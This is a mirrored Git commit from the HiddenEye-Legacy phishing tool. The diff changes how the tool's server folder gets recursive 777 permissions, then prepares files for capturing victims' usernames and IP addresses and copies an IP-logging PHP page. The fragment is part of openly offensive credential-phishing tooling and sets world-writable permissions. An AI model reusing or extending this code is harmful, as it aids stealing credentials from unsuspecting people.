mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Replaced os.chmod with run_command to add Recursive
This commit is contained in:
parent
435d95ff7a
commit
41801a00b9
|
@ -241,10 +241,11 @@ def start_main_menu():
|
||||||
|
|
||||||
|
|
||||||
def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
||||||
chmod('Server', 777)
|
#chmod('Server', 777)
|
||||||
|
run_command(['chmod', '-R', '777', 'Server'])
|
||||||
rmtree("Server/www", onerror=simple_informant.remove_readonly)
|
rmtree("Server/www", onerror=simple_informant.remove_readonly)
|
||||||
mkdir('Server/www')
|
mkdir('Server/www')
|
||||||
chmod('Server/www', 777)
|
#chmod('Server/www', 777)
|
||||||
pathlib_Path('Server/www/usernames.txt').touch()
|
pathlib_Path('Server/www/usernames.txt').touch()
|
||||||
pathlib_Path('Server/www/ip.txt').touch()
|
pathlib_Path('Server/www/ip.txt').touch()
|
||||||
copyfile('WebPages/ip.php', 'Server/www/ip.php')
|
copyfile('WebPages/ip.php', 'Server/www/ip.php')
|
||||||
|
|
Loading…
Reference in New Issue
Block a user